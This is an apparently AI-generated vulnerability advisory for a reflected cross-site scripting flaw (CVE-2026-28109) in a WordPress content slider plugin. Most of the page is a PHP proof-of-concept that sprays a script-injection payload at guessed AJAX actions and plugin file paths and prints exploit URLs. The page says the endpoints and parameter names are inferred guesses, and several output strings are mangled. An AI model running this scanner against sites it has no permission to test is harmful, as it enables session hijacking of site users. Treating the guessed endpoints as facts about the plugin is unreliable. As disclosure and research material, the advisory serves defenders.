Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-28109: LambertGroup – AllInOne – Content Slider <= 3.8 – Reflected Cross-Site Scripting (all-in-one-contentSlider)

CVE ID CVE-2026-28109
Plugin all-in-one-contentSlider
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 3.8
Patched Version —
Disclosed February 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28109 (metadata-based):
The vulnerability is a reflected cross-site scripting (XSS) flaw in the LambertGroup AllInOne Content Slider WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The description states insufficient input sanitization and output escaping in versions up to and including 3.8. This allows unauthenticated attackers to inject arbitrary web scripts via user-controlled input. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates network accessibility, low attack complexity, no privileges required, and user interaction with scope change. Atomic Edge research infers the vulnerability likely exists in a public-facing plugin endpoint that echoes user input without proper escaping. Common WordPress patterns for such vulnerabilities include AJAX handlers (`admin-ajax.php`), REST API endpoints, or direct PHP file access within the plugin directory. The plugin slug `all-in-one-contentSlider` suggests AJAX action names may contain `all_in_one_contentSlider` or similar. The fix requires implementing proper input validation using WordPress `sanitize_text_field()` or similar functions, and output escaping with `esc_html()` or `esc_js()` before echoing user data. Exploitation requires an attacker to trick a user into clicking a crafted link. Successful exploitation leads to arbitrary script execution in the victim’s browser session, potentially allowing session hijacking, content modification, or redirection to malicious sites. The scope change (S:C) indicates the impact can affect the user’s interaction with the WordPress site, not just the vulnerable page.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28109 - LambertGroup - AllInOne - Content Slider <= 3.8 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28109
 * Assumptions based on WordPress plugin vulnerability patterns:
 * 1. The vulnerability is a reflected XSS in a public endpoint.
 * 2. The endpoint is likely an AJAX handler (`admin-ajax.php`) or a direct plugin file.
 * 3. The vulnerable parameter name is unknown; common names include 'id', 'slider_id', 'param'.
 * 4. The plugin slug 'all-in-one-contentSlider' suggests AJAX action prefixes.
 * This PoC tests multiple common attack vectors.
 */

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to target site

// Common AJAX actions inferred from plugin slug
$actions = [
    'all_in_one_contentSlider_action',
    'all_in_one_content_slider_action',
    'aioc_slider_action',
    'get_slider',
    'load_slider'
];

// XSS payload (basic alert for demonstration)
$payload = '"><script>alert(document.domain)</script>';

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

foreach ($actions as $action) {
    // Test via POST (common for AJAX)
    $post_data = ['action' => $action, 'slider_id' => $payload];
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    $response = curl_exec($ch);
    
    if (strpos($response, $payload) !== false) {
        echo "Potential vulnerability found via POST action: $actionn";
        echo "Craft a link: $target_url?action=$action&slider_id=" . urlencode($payload) . "n";
    }
    
    // Test via GET
    $get_url = $target_url . '?action=' . urlencode($action) . '&slider_id=' . urlencode($payload);
    curl_setopt($ch, CURLOPT_URL, $get_url);
    curl_setopt($ch, CURLOPT_POST, false);
    $response = curl_exec($ch);
    
    if (strpos($response, $payload) !== false) {
        echo "Potential vulnerability found via GET action: $actionn";
        echo "Exploit URL: $get_urln";
    }
}

// Test direct plugin file access (common pattern)
$plugin_paths = [
    '/wp-content/plugins/all-in-one-contentSlider/ajax.php',
    '/wp-content/plugins/all-in-one-contentSlider/slider.php',
    '/wp-content/plugins/all-in-one-contentSlider/include/slider.php'
];

foreach ($plugin_paths as $path) {
    $test_url = 'http://example.com' . $path . '?id=' . urlencode($payload);
    curl_setopt($ch, CURLOPT_URL, $test_url);
    $response = curl_exec($ch);
    
    if (strpos($response, $payload) !== false) {
        echo "Potential vulnerability via direct file: $pathn";
        echo "Exploit URL: $test_urln";
    }
}

curl_close($ch);
echo "PoC completed. Review responses for reflected payloads.n";
?>

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